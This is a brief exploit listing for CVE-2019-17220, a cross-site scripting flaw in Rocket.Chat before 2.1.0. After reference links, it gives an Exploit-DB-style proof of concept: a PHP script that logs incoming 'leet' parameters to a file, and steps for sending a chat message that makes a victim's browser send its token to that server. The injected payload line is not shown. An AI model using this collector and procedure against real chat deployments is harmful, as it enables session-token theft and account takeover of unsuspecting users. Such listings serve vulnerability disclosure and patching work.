Rocket.Chat Cross Site Scripting CVE-2019-17220

Rocket.Chat versions prior to 2.1.0 suffer from a cross-site scripting vulnerability.

As I found out, the service has a security problem that will lead to the disclosure of user information.

Packet Storm
Mitre CVE
NIST
Exploit-DB

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# Title: Rocket.Chat 2.1.0 - Cross-Site Scripting # Author: 3H34N # Date: 2019-10-22 # Product: Rocket.Chat # Vendor: https://rocket.chat/ # Vulnerable Version(s): Rocket.Chat < 2.1.0 # CVE: CVE-2019-17220 # Special Thanks : Ali razmjoo, Mohammad Reza Espargham (@rezesp) 1. Create l33t.php on a web server <?php $output = fopen("logs.txt", "a+") or die("WTF? o.O"); $leet = $_GET['leet']."\n\n"; fwrite($output, $leet); fclose($output); ?> 2. Open a chat session 3. Send payload with your web server url  4. Token will be written in logs.txt when target seen your message.